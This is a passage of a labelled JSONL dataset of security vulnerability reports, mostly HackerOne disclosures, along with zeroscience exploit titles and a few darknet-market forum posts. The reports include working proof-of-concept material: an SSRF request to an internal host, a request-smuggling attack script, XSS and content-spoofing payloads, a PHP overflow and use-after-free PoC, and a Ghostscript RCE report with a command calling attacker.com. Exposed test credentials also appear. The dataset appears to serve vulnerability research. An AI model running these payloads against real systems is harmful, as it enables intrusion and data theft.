[advisory](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html) by Atlassian. Also, there is a publicly known exploit to this vulnerability.\n\n# Technical details\n\n## SSRF\n### Root cause\n - Jira uses whitelist to determine allowed URLs.\n - Jira itself is always whitelisted ([https://jira.tochka.com](https://jira.tochka.com))\n - Filter could be tricked by using URL in form of `https://jira.tochka.com:443@example.com/`\n\n\nThis bug could be used to send requests to an internal Confluence server [https://confluence.bank24.int](https://confluence.bank24.int) like so:\n\n**Request example:**\n```\nPOST /plugins/servlet/gadgets/makeRequest HTTP/1.1\nHost: jira.tochka.com\nUser-Agent: curl/7.61.1\nAccept: */*\nX-Atlassian-Token: no-check\nContent-Length: 53\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nurl=https://jira.tochka.com:443@confluence.bank24.int\n```\n**Response snippet:**\n```\nthrow 1; < don't be evil' >{\"https://jira.tochka.com:443@confluence.bank24.int\":{\"rc\":200,\"headers\":{},\"body\":\"\\n\\n\\n Рабочий стол - Confluence<\\/title>\\n \\n \\n\\n \\n \\n \\n \\n\\n \\n <meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"IE=EDGE,chrome=IE7\\\">\\n<meta charset=\\\"UTF-8\\\">\\n<meta id=\\\"confluence-context-path\\\" name=\\\"confluence-context-path\\\" content=\\\"\\\">\\n<meta id=\\\"confluence-base-url\\\" name=\\\"confluence-base-url\\\" content=\\\"https://confluence.bank24.int\\\">\\n\\n<meta id=\\\"atlassian-token\\\" name=\\\"atlassian-token\\\" content=\\\"f999fa99a5663c168e72b407eecdeec3695c70d0\\\">\\n\\n\\n<script type=\\\"text/javascript\\\">\\n var contextPath = '';\\n<\\/script>\\n\\n \\n\\n <meta name=\\\"confluence-request-time\\\" content=\\\"1571051898165\\\">\\n \\n \\n \\n <meta name=\\\"ajs-discovered-plugin-features\\\" content=\\\"$discoveredList\\\">\\n <meta name=\\\"ajs-use-keyboard-shortcuts\\\" content=\\\"true\\\">\\n <meta name=\\\"ajs-keyboardshortcut-hash\\\" content=\\\"97637bc20dfc7a1f15684630bc99897\\\">\\n <meta id=\\\"team-calendars-has-jira-link\\\" content=\\\"true\\\">\\n <meta name=\\\"ajs-team-calendars-display-time-format\\\" content=\\\"displayTimeFormat24\\\">\\n <meta id=\\\"team-calendars-display-week-number\\\" content=\\\"false\\\">\\n <meta\n...\n```\n\n## Widget connector RCE\n### Vulnerability details\n - Confluence plugin preview functionality ([https://confluence.bank24.int/rest/tinymce/1/macro/preview](https://confluence.bank24.int/rest/tinymce/1/macro/preview)) is available without any authentification by design. \n - Vulnerable plugin allows to specify a path to a server side template which is rendered.\n - This path could be a URL\n - Following schemes are supported:\n - http\n - https\n - file\n - ftp\n\n### Attack scenario\n - Attacker hosts malicious template somewhere on the internet\n - Attacker trigger", "source": "hackerone", "timestamp": "2021-06-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c9213d8e60c435e50bf3", "text": "ECOA Building Automation System Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b81818981da9400f4869", "text": "[Cross-site Scripting (XSS) - Generic] XSS in $shop$.myshopify.com/admin/ via twine template injection in \"Shopify.API.Modal.input\" method when using a malicious app\n\n#Description\nThe Shopify [Embedded App SDK](https://help.shopify.com/api/sdks/merchant-apps/embedded-app-sdk) is used to facilitate limited interactions with parent page (`/admin/apps/$id`) from an embedded app within the shop admin interface. The SDK has multiple methods which allow an app to interact with the user which execute in the context of the admin domain and pass information back to the app. These UI elements are rendered from predefined templates using [lodash](https://lodash.com)'s [_.template](https://lodash.com/docs/4.17.4#template) method. While the method automatically provides input escaping the \"input\" template (used by the `Shopify.API.Modal.input` method) assigns a value to a special `data-define` attribute. While it's not possible to escape the attribute context, because the escaping is not fully context-aware it is possible to inject additional data into the attribute which is later interpreted by [twine](http://shopify.github.io/twine/). Because twine does not execute in a sandbox this template becomes an eval primitive and it possible to obtain XSS in the context of the parent application. \n\n#Technical Details\nWhen the `Shopify.API.Modal.input` method the following \"input\" template is rendered using [lodash](https://lodash.com)'s [_.template](https://lodash.com/docs/4.17.4#template) method: \n```html\n...\n<div class=\"ui-modal__body\" data-define=\"{typedInput: '[%= value %]'}\">\n...\n<label class=\"next-label\" for=\"text-a10e7047a92878fc20031f40da0b5231\"></label>\n<input type=\"text\" id=\"text-a10e7047a92878fc20031f40da0b5231\" data-bind=\"typedInput\" autofocus=\"autofocus\" class=\"next-input\" />\n...\n<button class=\"btn close-modal [%= buttonClass %]\" data-bind-event-click=\"closeModal({result: true, data: typedInput})\" type=\"button\" name=\"button\">[%= okButton %]</button>\n...\n```\nThe `typedInput` parameter is initialized from the `value` template parameter, bound to the text input, and finally used when the \"okButton\" is clicked. The data binding is handled by Shopify's [twine](http://shopify.github.io/twine/) JS library. Unfortunately because [_.template](https://lodash.com/docs/4.17.4#template) is not fully context aware it will not provide JSON escaping for this parameter. For example if `value` is set to `some'value` the following invalid JSON will be created in the `data-define` attribute:\n```\n{typedInput: 'some'value'}\n```\nNormally this would just break the intended functionality, however if we analyze [twine](http://shopify.github.io/twine/) we can discover that this type of injection can actually result in arbitrary JS execution. Twine evaluates parameters using the (wrapFunctionString)[https://github.com/Shopify/twine/blob/24c4ccfccf5b50937e6d9e433676651549be1497/dist/twine.js#L373] method:\n```js\nwrapFunctionString = function(code, args, node) {\n var e, error, keypath;\n if (isKeypath(code) && (keypath = keypathForKey(node, code))) {\n if (keypath[0] === '$root') {\n return function($context, $root) {\n return getValue($root, keypath);\n };\n } else {\n return function($context, $root) {\n return getValue($context, keypath);\n };\n }\n } else {\n code = \"return \" + code;\n if (nodeArrayIndexes(node)) {\n code = \"with($arrayPointers) { \" + code + \" }\";\n }\n if (requiresRegistry(args)) {\n code = \"with($registry) { \" + code + \" }\";\n }\n try {\n return new Function(args, \"with($context) { \" + code + \" }\");\n } catch (error) {\n e = error;\n throw \"Twine error: Unable to create function on \" + node.nodeName + \" node with attributes \" + (stringifyNodeAttributes(node));\n }\n }\n};\n``` \nThe method wraps the attribute value in a [with](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) block to provide named variables and passes it to a [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) ", "source": "hackerone", "timestamp": "2017-06-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "72ad8fab052032bdd390", "text": "[Use After Free] CVE-2018-12882: heap-use-after-free in PHP 7.2 through 7.2.6, possible 7.2.7\n\n`exif_read_data` in PHP 7.2 through 7.2.6 (and possibly 7.2.7) is vulnerable to a heap use after free when fed a specially crafted JPEG. Any online service that uses PHP 7.2 and reads EXIF data from uploaded JPEGs is potentially vulnerable to this flaw.\n\n```\nUSE_ZEND_ALLOC=0 ./php-e147eb2 -r 'exif_read_data(file_get_contents(\"/full/path/to/test.jpg\"));'\n\necho \"Lw==\" | base64 -d > test.jpg\n\nod -tx1 test.jpg\n0000000 2f\n0000001\n```\n\n```\n==15865==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000000ad0 at pc 0x0000013d8100 bp 0x7fff9778bda0 sp 0x7fff9778bd98\nREAD of size 8 at 0x611000000ad0 thread T0\n #0 0x13d80ff in _php_stream_free /root/php-7.2.6/main/streams/streams.c:373:13\n #1 0xe4a08f in exif_read_from_file /root/php-7.2.6/ext/exif/exif.c:4411:2\n #2 0xe4a08f in zif_exif_read_data /root/php-7.2.6/ext/exif/exif.c:4482\n #3 0x18692f5 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /root/php-7.2.6/Zend/zend_vm_execute.h:573:2\n #4 0x1683367 in execute_ex /root/php-7.2.6/Zend/zend_vm_execute.h:59723:7\n #5 0x1683aa5 in zend_execute /root/php-7.2.6/Zend/zend_vm_execute.h:63760:2\n #6 0x14fdb5c in zend_eval_stringl /root/php-7.2.6/Zend/zend_execute_API.c:1082:4\n #7 0x14fe3a7 in zend_eval_stringl_ex /root/php-7.2.6/Zend/zend_execute_API.c:1123:11\n #8 0x14fe3a7 in zend_eval_string_ex /root/php-7.2.6/Zend/zend_execute_API.c:1134\n #9 0x196fd32 in do_cli /root/php-7.2.6/sapi/cli/php_cli.c:1042:8\n #10 0x196dd4f in main /root/php-7.2.6/sapi/cli/php_cli.c:1404:18\n #11 0x7fb432b3382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291\n #12 0x43bd68 in _start (/root/php-7.2.6/sapi/cli/php+0x43bd68)\n\n0x611000000ad0 is located 144 bytes inside of 224-byte region [0x611000000a40,0x611000000b20)\nfreed by thread T0 here:\n #0 0x4e2c32 in free /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:78:3\n #1 0x13d7f53 in _php_stream_free /root/php-7.2.6/main/streams/streams.c:511:3\n\npreviously allocated by thread T0 here:\n #0 0x4e2f73 in __interceptor_malloc /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:98:3\n #1 0x147855a in __zend_malloc /root/php-7.2.6/Zend/zend_alloc.c:2829:14\n #2 0x13ed4b3 in _php_stream_fopen_from_fd_int /root/php-7.2.6/main/streams/plain_wrapper.c:186:9\n #3 0x13ed4b3 in _php_stream_fopen_from_fd /root/php-7.2.6/main/streams/plain_wrapper.c:248\n\nSUMMARY: AddressSanitizer: heap-use-after-free /root/php-7.2.6/main/streams/streams.c:373:13 in _php_stream_free\n```\n\n\nThis was reported to the PHP team on [3 June 2018](https://bugs.php.net/bug.php?id=76409) and marked fixed on [9 June 2018](https://bugs.php.net/bug.php?id=76409).\n\n## Impact\n\nDenial of service, memory corruption, information disclosure, remote code execution", "source": "hackerone", "timestamp": "2018-09-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e51cecd2b93cdff97066", "text": "[Agora] The Scurvy Crew - Reviews and AWESOMENESS! Home of the finest hash weed n´opium\n\nI have no problem with banning TSC. Anonymity and vendor trust are two of the most basic tenets of the darknet markets. If you were maintaining an online market and you had knowledge that one of the vendors selling has at least partially doxxed a buyer you have to take action.As a buyer I don't want any vendor who would violate that trust and this just gives me more confidence that the Agora market will stay a place where you should have confidence in the vendors.P.S. - half of the thread is like a group cheering for a bully because he provided them drugs. Sighmatter was annoying for sure but you don't violate anonymity for someone being annoying.", "source": "gayanku", "timestamp": "2014-05-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5cb1efb27dea24abc65d", "text": "[Cross-Site Request Forgery (CSRF)] Slack integration setup lacks CSRF protection\n\nDetails:\n**Summary:**\n\nCross-site Request Forgery in the `Integrations` (https://hackerone.com/[YOUR_TEAM]/integrations) feature for teams.\n\n**Description (Include Impact):**\n\nThe `Integrations` flow is insecure, because it can be abused by CSRF.\n\nPoC:\n\nRequest\n```\nGET https://hackerone.com/auth/slack HTTP/1.1\n```\n\nResponse\n```\nLocation: https://slack.com/oauth/authorize\n?client_id=2174110321.11522100978\n&redirect_uri=https%3A%2F%2Fhackerone.com%2Fauth%2Fslack%2Fcallback\n&response_type=code\n&scope=incoming-webhook\n&state=379fd8f1baa8d80516e2f706f025057ad0ce2cca0bbbd56c\n```\n\nHow can it be bad since you are using `state` parameter?\n\nYou are trusting in third-party security that is not under your control.\nAll the attacker needs is an XSS or Login CSRF or Clickjacking in the third-party system and he can compromise your system. With one of the previous mentioned vulnerabilities in the third-party system, the attacker can control the entire OAuth flow and connect his own accounts to the victim's HackerOne account.\n\nToday, you have just one integration available (Slack).\nIf you implement more integrations in the future, the damage and the attack surface will grow significantly. Worst if you implement someday something like Login with Facebook / Login with Google / etc., because this bug will lead to account takeover.\n\n**Fix:**\n\n1) Protection against CSRF at the beginning of the OAuth flow:\n\ne.g.:\n\n```\nGET https://hackerone.com/auth/slack?CSRF_TOKEN=bdea53bd9a8c73bd983847 HTTP/1.1\n```\n\n2) `Phabricator` approach of OAuth connections (a confirmation dialog after the end of the OAuth flow). Picture attached (F121473).\n\nP.S.: Are you interested in Login XSRF in HackerOne?\nHow do you protect users against Login XSRF in your SSO flow?\nSorry, I can not fully test SSO because I need approval of SSO configuration every time.", "source": "hackerone", "timestamp": "2021-07-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9e4801ed28b3e542119b", "text": "[Violation of Secure Design Principles] Enumeration/Guess of Private (Invited) Programs\n\nHey, \n\nThis bug allows anyone to enumerate usernames of invited programs.For example there are two kinds of program at HackerOne - **Public programs** and **Invited** programs. Generally invited programs are only accessible to certain users based on reputation system. \n\nNow, for most public programs the username of the program remains same as program name, that is for Slack's program it is *slack*, for Square it is *square*. So my finding to enumerate works like the following (taking example of **████** invitation only program):\n\n████ program is located at https://hackerone.com/████, but it is only accessible to invited users else if an uninvited user visits the page he gets a 404 error, that's sweet. Isn't it ?\n\nBut using the following logic: \n\nhttps://hackerone.com/████/common_responses.json (500 Internal Server Error)\nhttps://hackerone.com/████/common_responses.json (500 Internal Server Error)\nhttps://hackerone.com/trololol/common_responses.json (404 Not Found)\n\nBased on the responses we can understand that for every existing program (public/invited) the server throws 500 error code but for non-existent program it throws 404 error code. So someone who wants to guess if a company is there in the invited program simply needs to send the following request (assuming company name is same as username, as it is currently in most of the cases at HackerOne):\n\nhttps://hackerone.com/<company-name-here>/common_responses.json (500 if exists or 404 if it doesn't, then if the username is not in any of the public program then surely it will be in invited program :-) )\n\nThis thing can be automated with a list of company names as potential usernames.\n\nThanks,\nPrakhar Prasad", "source": "hackerone", "timestamp": "2015-05-09", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f1a635b5dc6501a0c821", "text": "[Information Disclosure] Information Disclosure on demo.weblate.org\n\n##Description\nThe demo instance, located on https://demo.weblate.org is leaking user's IP-adresses in the Activity log.\n{F185728}\n\n##Impact\nThe authenticated user can disclose valid IP adresses of other users through Activity log. The feature works as it should (*so no changes should be made on the GitHub or other sites like hosted.weblate.org*), but i still recommend you to hide IPs that do not belong to the user only on this particular instance, because user do not know before login, that his IP will become accessible to the public.\n\n##Reproduction Steps\n1) Login at the https://demo.weblate.org as demo:demo\n2) Go to the https://demo.weblate.org/accounts/profile/#audit\n\n##Suggested fix\nThe sensitive information can be hided in various ways - for example `x.x.x.x` or similar. It do not require code changes on your GitHub repositories, just in this particular instance.", "source": "hackerone", "timestamp": "2017-06-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5ccefcf1de576905ed27", "text": "[Open Redirect] [cooking.lady.mail.ru] Open Redirect\n\n**PoC**\n```\nChrome, IE:\nhttps://cooking.lady.mail.ru/%09/blackfan.ru\n\nChrome, IE, FireFox:\nhttps://cooking.lady.mail.ru/%5cblackfan.ru\n```\n\n**HTTP Response**\n```http\nHTTP/1.1 301 Moved Permanently\n...\nLocation: /\t/blackfan.ru/\n```\n```http\nHTTP/1.1 301 Moved Permanently\n...\nLocation: /\\blackfan.ru/\n```", "source": "hackerone", "timestamp": "2017-03-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d7f7486464b077b86e3c", "text": "[HTTP Request Smuggling] Request smuggling on ████████\n\n**Summary:**\n\n\n**Description:**\nThe sites at █████████ and ww.██████████ are vulnerable to backend socket poisoning which enables attackers to hijack responses to other users.\n\nThis vulnerability occurs because the backend server regards` \\n` as a valid header ending, whereas the backend only thinks `\\r\\n` is valid. This means it's possible to send requests that are interpreted differently by the two servers, leading to backend socket poisoning.\n\n## Impact\nUnauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required.\n\n## Step-by-step Reproduction Instructions\nTo replicate this with minimal risk of affecting legitimate users we'll target stage.████████ instead of ██████████, and use the following turbo intruder script:\n\nI've hard-coded the endpoint to ██████████ because it appears that you've got multiple endpoints for stage.█████████ and some are not vulnerable.\n```\ndef queueRequests(target, wordlists):\n engine = RequestEngine(endpoint='https://██████████:443',\n concurrentConnections=5,\n requestsPerConnection=1,\n pipeline=False,\n maxRetriesPerRequest=0\n )\n engine.start() \n\n attack = '''POST /████ HTTP/1.1\nFooz: bar\\nTransfer-Encoding: chunked\nHost: stage.█████\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 77\nFoo: bar\n\n0\n\nGET███████ HTTP/1.1\nX: X'''\n\n engine.queue(attack)\n\n victim = '''GET /foo.jpg?x=%s HTTP/1.1\nHost: stage.████████\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\nConnection: keep-alive\n\n'''\n for i in range(15):\n engine.queue(victim, i)\n time.sleep(0.2)\n\n\ndef handleResponse(req, interesting):\n table.add(req)\n\n ```\nYou should observe that one of the responses to a victim request is a 302 redirect to █████████\n\n## Suggested Mitigation/Remediation Actions\nWhen I resolve stage.███ I get a bunch of IP addresses, and only some of these appear to be vulnerable. As such, you should be able to resolve this issue by making these servers consistent:\n\n```\nstage.████████.\t\t59\tIN\tA\t██████████\nstage.████.\t\t59\tIN\tA\t████████\nstage.█████.\t\t59\tIN\tA\t██████\nstage.███████.\t\t59\tIN\tA\t█████\nstage.████.\t\t59\tIN\tA\t██████████\nstage.██████████.\t\t59\tIN\tA\t█████\n```\n\n## Impact\n\nUnauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required. Socket poisoning also enables a variety of other attacks which I haven't time to explore on your site.", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bd58a9bd29e1a2f8ba38", "text": "[Improper Authentication - Generic] Content Spoofing in mango.qiwi.com\n\nДоброй ночи.\n\nУязвимость найдена по адресу:\nhttps://mango.qiwi.com/partner/dashboard\n\nУязвимый ��араметр: ` partner[first_name] `\n\nExploit Code: ` <a%20href=//vk.cc/4P0UsU><img%20src=x%20width=10000></a> `\n\nPOST Запрос: \n>\nPOST /partner/signup HTTP/1.1\nHost: mango.qiwi.com\nConnection: keep-alive\nContent-Length: 515\nCache-Control: max-age=0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nOrigin: https://mango.qiwi.com\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\nContent-Type: application/x-www-form-urlencoded\nReferer: https://mango.qiwi.com/partner/signup\nAccept-Encoding: gzip, deflate, lzma\nAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4\nCookie: _ga_cid=628369546.1423344338; _ga_info=2|4|1455497727000|false|; skip_ie8_validation=N; _felix_session_id=47705e9a1e953929779e1cae45d0ca61; mango-pre-validate=Y; GA-enabled=T; __utma=85752325.628369546.1423344338.1456174843.1456174843.1; __utmc=85752325; __utmz=85752325.1456174843.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); request_method=GET; __distillery=v20150227_4295d2de-80ce-46d3-8bd1-27a62225a2b8; _gat=1; _ga=GA1.2.628369546.1423344338\n\n**POST Данные**\n\n>\nutf8=%E2%9C%93&authenticity_token=0lA5UH%2Fbr0GxFTp%2BsKhNEsU%2Bbh4521Wi%2FAoJwxYU79E%3D&partner%5Bcompany_name%5D=Negrosoft&**partner%5Bfirst_name%5D=<a%20href=//vk.cc/4P0UsU><img%20src=x%20width=10000></a>**\n&partner%5Blast_name%5D=Ololo&partner%5Bemail%5D=plex_mobile%40inbox.ru&partner%5Bmango_user%5D=1&partner%5Buse_of_mangoapps%5D=I+don%27t+know+%29&partner%5Bcompany_services%5D=I%27m+register&partner%5Bcompany_size%5D=1-10&partner%5Bcountry%5D=RU&partner%5Bterms_of_service%5D=0&partner%5Bterms_of_service%5D=1\n\n\n\n##PoC##\nДля воспроизведения\nавторизоваться с этими данными: \nEmail: `plex_mobile@inbox.ru`\nPassword: `1qaz2wsx3edc`", "source": "hackerone", "timestamp": "2017-04-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d36ffcd439f40118869a", "text": "[Silk Road 2] Is SR going to change .onion addresses?\n\nFirst I read this... *Clearnethttps://blog.torproject.org/blog/openssl-bug-cve-2014-0160Then I read this...https://blog.torproject.org/blog/tor-browser-354-releasedThen moved on to this...https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-april-9th-2014Basically make sure you're running 3.5.4", "source": "gayanku", "timestamp": "2014-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5be5b4aa29e96773b52a", "text": "GEOVAP Reliance 4 Control Server Unquoted Service Path Elevation Of Privilege\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-12-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a1f43f21759102a27da9", "text": "Teradek Slice 7.3.15 CSRF Change Password Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "172f3252eb32de124d32", "text": "Cart Engine 3.0.0 Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "87d8b2a5463e65a6c8a6", "text": "[Improper Authentication - Generic] Phabricator Diffusion application allows unauthorized users to delete mirrors\n\nI have succesfully reproduced this issue following these steps:\r\n \r\n- Creating a repository with an administrator user\r\n \r\n- Checking that my \"guest\" user hasn't access to the newly created repository:\r\n \r\n http://phabricator/diffusion/TEST/edit/\r\n \r\n- However, the guest user does have access to delete the mirror:\r\n \r\n http://phabricator/diffusion/TEST/mirror/delete/1/\r\n \r\n You can review the lack of permission-checks in the file: applications/diffusion/controller/DiffusionMirrorDeleteController.php", "source": "hackerone", "timestamp": "2015-01-09", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d983848dc6dcae7980e3", "text": "[Code Injection] Buffer overflow in HTTP url parsing functions\n\nThis bug report was submitted directly to the PHP bug tracker:\n<https://bugs.php.net/bug.php?id=71719>\n\nThe issue was verified and fixed on 2016-03-09. Updated HTTP packages 2.5.6 and 3.0.1 were released the same day.\n\nFollowing you find the bug description that has been reported to the PHP maintainers:\n\n\n# Description\n\nThe HTTP url parsing functions allow overflowing a buffer with data originating from an arbitrary HTTP request. Affected are the `parse_*()` functions in `php_http_url.c` that are called from within `php_http_url_parse()`. Other parsing functions were not tested but might be affected as well.\nThe problem occurs when non-printable characters contained in an URL are converted into percent-encoding. The `state->offset` used in these functions is incremented without sufficient checks\nregarding the size of the allocated `state->buffer`.\n\nExample from `parse_mb()` in `php_http_url.c:781`:\n\n```c\nstatic size_t parse_mb(struct parse_state *state, ...)\n{\n// [...]\n } else {\n int i = 0;\n\n PHP_HTTP_DUFF(consumed,\n state->buffer[state->offset++] = '%';\n state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) >> 4];\n state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) & 0xf];\n ++i;\n );\n }\n// [...]\n```\n\nA `php_stream_ops` structure is stored in memory adjacent to the `state->buffer`. This struct holds valid callback function pointers for stdio-like functions (see `php_streams.h:118`). During my tests it was possible to modify one of these function pointers, get it called and execute absolutely unrelated instructions within the php binary.\n**Thus I believe it's possible to use the described flaw to execute arbitrary code.**\n\n\n# Proof of Concept\n\nPHP test script:\n\n```php\n/*\n http_message_parse.php\n poc.req:\n http://hlt99.blinkenshell.org/php/poc.req\n*/\n<?php\n $http_msg = new http\\Message(file_get_contents(\"poc.req\"), false);\n?>\n```\n\nPHP build configuration:\n\n```bash\n./configure --enable-mysqlnd --enable-soap --with-openssl --with-sqlite3 --enable-raphf --enable-propro --with-http --with-zlib-dir --enable-zip --enable-intl && make\n```\n\nProgram state before buffer overflow:\n\n $ gdb ./sapi/cli/php\n gdb> b streams.c:467\n gdb> r http_message_parse.php\n [...]\n RAX: 0x10031c0 --> 0x794560 (<php_stdiop_write>)\n ^-- !! original callback function pointer\n RBX: 0x7ffff1870300\n RCX: 0x1 \n RDX: 0x7ffff1871078 \n RSI: 0x1 \n RDI: 0x7ffff1870300\n RBP: 0x3 \n RSP: 0x7fffffffab30 \n RIP: 0x78f5b4 (<_php_stream_free+308>:\tcall QWORD PTR [rax+0x10])\n R8 : 0x1 \n R9 : 0x0 \n R10: 0x74000 \n R11: 0x1 \n R12: 0x0 \n R13: 0x102ea40 --> 0x0 \n R14: 0x0 \n R15: 0x0\n EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\n [-------------------------------------code-------------------------------------]\n => 0x78f5b4 <_php_stream_free+308>:\tcall QWORD PTR [rax+0x10]\n [------------------------------------------------------------------------------]\n 0x000000000078f5b4\t467\t\t\tret = stream->ops->close(stream, preserve_handle ? 0 : 1);\n\nProgram state after `php_stream_ops` struct has been overwritten:\n\n gdb> c\n RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>)\n ^-- !! lower 3 bytes overwritten (halfbyte at offset 0x3f converted to hex char\n !! and byte at offset 0x40 in poc.req\n !! plus trailing 0x00 inserted by url parsing functions)\n RBX: 0x7ffff1870400\n RCX: 0x1 \n RDX: 0x2 \n RSI: 0x1 \n RDI: 0x7ffff1870400\n RBP: 0xb ('\\x0b')\n RSP: 0x7fffffffa8a0\n RIP: 0x78f5b4 (<_php_stream_free+308>:\tcall QWORD PTR [rax+0x10])\n R8 : 0x1 \n R9 : 0x0 \n R10: 0x682f377068702f73 ('s/php7/h')\n R11: 0x170 \n R12: 0x0 \n R13: 0x102ea40 --> 0x0 \n R14: 0x0 \n R15: 0x0\n EFLAGS: 0x202 (carry parity a", "source": "hackerone", "timestamp": "2016-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2109a5af8c9a640dc60f", "text": "[Information Disclosure] Information disclosure on sim.starbucks.com\n\n**Description:** \n Hi,there.I found the sim.starbucks.com host deployed the jira server which version is 7.9.2,there is many public vulnerability on this low version.\n\n**Information disclosured vulnerability** \n1.(CVE-2019-3403)https://jira.atlassian.com/browse/JRASERVER-69242\nvisit the URL address,you can check the user whether is exist on this host\n```\nhttps://sim.starbucks.com/rest/api/2/user/picker?query=admin\n```\nSo the attacker can enumerate all existing users on this jira server.\n\n2.(CVE-2019-8442)https://jira.atlassian.com/browse/JRASERVER-69241\nvisit the URL address,the server will leaking some server's information\n```\nhttps://sim.starbucks.com/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml\n```\n\n\n## Recommendations for fix\nupdated the jira server's version or fixed\n\nPS:Can starbucks's team check my other report #533836 status?the report is not updated for too long.\nThank you.looking forward for your reply.\nBest regards!\n@johnstone\n\n## Impact\n\nLeaking some information about the server", "source": "hackerone", "timestamp": "2019-11-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "43cfb5988564d41289a1", "text": "[Command Injection - Generic] Remote code execution on Basecamp.com\n\nA critical flaw in Basecamp's profile image upload function leads to remote command execution. Images are converted on the server side, but not only image files but also PostScript/EPS files are accepted (if renamed to .gif). This is probably due to ImageMagick / GraphicsMagick being used for image conversion, which calls a PostScript interpreter (Ghostscript) if the input file starts with '%!'. The used Ghostscript version however has a security bug (CVE-2017-8291) leading to remote command execution.\n\n/Proof of concept/: Upload the attached rce.gif file as profile image (change the `ping -c1 attacker.com' to some other shell command).\n\n/Mitigation/: Upgrade Ghostscript; also, before processing uploaded images make sure they are real image files (e.g. based on magic header)\n\n## Impact\n\nGain a remote shell; from here start exploitation/privilege escalation", "source": "hackerone", "timestamp": "2020-11-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c5df8e641567e946c2f0", "text": "[Cryptographic Issues - Generic] OpenSSL Padding Oracle Attack (CVE-2016-2107) on viestinta.lahitapiola.fi\n\nHello Lahitapiola Security Team,\n\nI would like to make two reports:\n1. Subdomain viestinta.lahitapiola.fi is vulnerable to CVE-2016-2107 .\n2. All the Lahitapiola domains/subdomains in scope of bug bounty have weak cipher suites and are susceptible to various SSL related attacks.\n\n##**Subdomain viestinta.lahitapiola.fi is vulnerable to CVE-2016-2107 :**\n\n_**Proof of Concept**_: \n* https://filippo.io/CVE-2016-2107/#viestinta.lahitapiola.fi:443\n* https://www.ssllabs.com/ssltest/analyze.html?d=viestinta.lahitapiola.fi&hideResults=on\n\n_**Fix**_: Upgrade openssl version on the server to latest stable version\n\n## All the Lahitapiola domains/subdomains in scope of bug bounty have weak cipher suites and are susceptible to various SSL related attacks.\nMoreover, the cipher suites list is not in order.\n\nProof of Concept:\n```\nsslscan --no-fallback --no-renegotiation --no-compression --no-heartbleed viestinta.lahitapiola.fi\n\nTesting SSL server viestinta.lahitapiola.fi on port 443\n\n Supported Server Cipher(s):\nAccepted TLSv1.2 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256\nAccepted TLSv1.2 112 bits EDH-RSA-DES-CBC3-SHA DHE 2048 bits\nAccepted TLSv1.2 112 bits DES-CBC3-SHA\nAccepted TLSv1.1 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256\nAccepted TLSv1.1 112 bits EDH-RSA-DES-CBC3-SHA DHE 2048 bits\nAccepted TLSv1.1 112 bits DES-CBC3-SHA\n```\n##How to fix?\nReplace **cipher suites** list on your servers with the one 